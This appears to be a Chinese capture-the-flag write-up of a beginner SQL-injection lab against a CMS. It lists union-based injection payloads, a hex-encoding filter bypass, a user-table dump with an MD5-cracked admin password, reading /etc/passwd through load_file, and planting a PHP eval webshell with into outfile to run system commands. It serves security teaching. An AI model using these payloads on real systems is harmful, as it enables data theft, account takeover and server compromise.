cms文章管理系统靶场是适合初级渗透人员学习sql注入的靶场之一。
1、找注入点
首先查看靶场的各个功能点具体有什么功能。点击国内新闻和国际新闻的这四条内容,发现URL为http://xxxx:xxxx/show.php?id=32(id=33、id=34、id=35),说明此处存在sql注入点,因为与数据库发生了交互。
2、判断注入类型
首先判断是数字型注入还是字符型注入:
and要求两边均为真输出为真,否则均为假。此处and 1=2时无回显,说明这是数字型注入。
3、判断列数
判断列数需要使用二分法。首先尝试order by 10,回显正常;order by 20,报错;
order by 15,回显正常;order by 17,报错;order by 16,报错;因此列数为15。
3、判断回显位置
发现页面无回显,需要让前半部分select语句查询为空,即让id=-33。
在3和11位置有回显。
4、查询数据库名称
数据库名称为cms。在11位置查也是一样的结果,无需纠结。
5、查询数据表名
http://xxxx:xxxx/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,group_concat(table_name),12,13,14,15 from information_schema.tables where table_schema='cms'--+
提示:Illegal mix of collations for operation 'UNION',即“UNION”操作的排序规则非法混合,猜测是有过滤,可采用十六进制编码解码来进行绕过,即http://xxxx:xxxx/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,unhex(hex(group_concat(table_name))),12,13,14,15 from information_schema.tables where table_schema='cms'--+
获得数据表信息:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users 。
6、查询字段名
http://xxxx:xxxx/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,unhex(hex(group_concat(column_name))),12,13,14,15 from information_schema.columns where table_schema='cms' and table_name='cms_users'--+
获得cms_users数据表的字段信息:userid,username,password。继续查看字段的具体内容:
http://xxxx:xxxx/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,group_concat(userid,':',username,':',password),12,13,14,15 from cms_users --+(这里没有用十六进制绕过的原因是从总表中查询可能会有检测,但直接从cms_users表查询没有检测)
e10adc3949ba59abbe56e057f20f883e 进行md5解密后为123456。用获得的账号密码admin/123456登录后台管理。
成功登录。
7、查询数据库使用者
http://xxxx:xxxx/show.php?id=-33 union select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15 --+
这里显示root@127.0.0.1(或root@localhost),说明是linux操作系统。
8、读取文件
关于mysql读取、上传文件,需要满足两个条件:
(1)拥有绝对路径,即具备木马文件的执行权限 /var/www/html(这是linux系统下的默认PHP执行环境);
(2)mysql中my.ini文件设置开启secure_file_priv="" (为空时代表对文件读写无限制)。注意,若打开my.ini文件未找到secure_file_priv,自行添上并保存,重启mysql服务后即可。
http://xxxx:xxxx/show.php?id=-33 union select 1,2,user(),4,5,6,7,8,9,10,load_file("/etc/passwd"),12,13,14,15 --+
9、上传文件
上传一句话木马:http://xxxx:xxxx/show.php?id=-33 union select 1,2,user(),4,5,6,7,8,9,10,"<?php @eval($_POST['c'])?>",12,13,14,15 into outfile "/var/www/html/0720.php"--+
eval()传递的参数都会被识别为php代码进行解析。
访问上传的0720.php文件:
利用hackbar工具执行phpinfo()看是否可以获得php服务器配置信息,这里成功获取。
system()传递的参数都会被识别为系统命令进行解析,执行c=system(ls); ls命令列出目录和文件,未发现flag相关信息。
跳转到上一级目录:c=system("ls ../");仍未找到。
继续跳转目录可找到flag文件,利用cat命令查看flag文件内容:c=system("cat ../../../flag");成功拿到flag。
10、利用webshell管理工具
也可直接利用webshell管理工具连接上传的木马,这里以蚁剑为例:
连接密码就是刚才传马时接收post请求的“c”。
连接成功后进行添加,右键查看文件管理,找到flag:
获得flag。